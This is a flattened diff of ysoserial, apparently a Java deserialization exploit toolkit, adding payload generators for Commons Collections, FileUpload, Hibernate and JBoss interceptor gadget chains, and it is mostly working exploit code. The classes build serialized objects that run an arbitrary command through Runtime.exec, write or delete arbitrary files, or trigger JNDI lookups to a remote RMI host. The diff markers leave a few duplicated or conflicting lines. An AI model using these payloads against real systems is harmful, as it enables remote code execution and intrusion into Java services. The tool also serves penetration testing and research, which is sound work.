import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
@@ -57,4 +61,8 @@ public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
@@ -11,12 +11,12 @@ import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
@@ -25,10 +25,11 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
@@ -0,0 +1,99 @@
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
@@ -0,0 +1,109 @@
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}
@@ -0,0 +1,87 @@
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
public Hashtable getObject(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
}
@@ -0,0 +1,56 @@
package ysoserial.payloads;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
org.apache.commons.collections4.bag.TreeBag.readObject
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
java.util.TreeMap.put
java.util.TreeMap.compare
org.apache.commons.collections4.comparators.TransformingComparator.compare
org.apache.commons.collections4.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
... (TemplatesImpl gadget)
java.lang.Runtime.exec
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.NAVALORENZO })
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
public TreeBag getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
// setup harmless chain
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// define the comparator used for sorting
TransformingComparator comp = new TransformingComparator(transformer);
// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comp);
tree.add(templates);
// arm transformer
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return tree;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections8.class, args);
}
}
@@ -0,0 +1,10 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface DynamicDependencies {
}
@@ -0,0 +1,119 @@
package ysoserial.payloads;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* DiskFileItem.readObject()
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/
@Dependencies ( {
"commons-fileupload:commons-fileupload:1.3.1",
"commons-io:commons-io:2.4"
} )
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
@Authors({ Authors.MBECHLER })
public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public DiskFileItem getObject ( String command ) throws Exception {
String[] parts = command.split(";");
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
}
else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void postSerializeRelease(DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
@@ -6,6 +6,7 @@ import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -27,6 +28,7 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({ Authors.FROHOFF })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
@@ -0,0 +1,185 @@
package ysoserial.payloads;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.HashMap;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.hibernate.EntityMode;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
@Authors({ Authors.MBECHLER })
@PayloadTest(precondition = "isApplicableJavaVersion")
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
if ( System.getProperty("hibernate5") != null ) {
return new String[] {
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
return new String[] {
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if ( System.getProperty("hibernate5") != null ) {
return makeHibernate5Getter(tplClass, method);
}
return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon);
if ( !method.startsWith("get") ) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public Object getObject ( String command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
if ( System.getProperty("hibernate3") != null ) {
return makeHibernate3Caller(tpl, getters);
}
return makeHibernate45Caller(tpl, getters);
}
static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
// Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate1.class, args);
}
}
@@ -0,0 +1,66 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.rowset.JdbcRowSetImpl;
/**
*
* Another application filter bypass
*
* Needs a getter invocation that is provided by hibernate here
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Hibernate2.class, args);
}
}
@@ -0,0 +1,90 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JBossInterceptors1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JBossInterceptors1.class, args);
}
}
@@ -0,0 +1,88 @@
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.net.URI;
import java.net.URISyntaxException;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
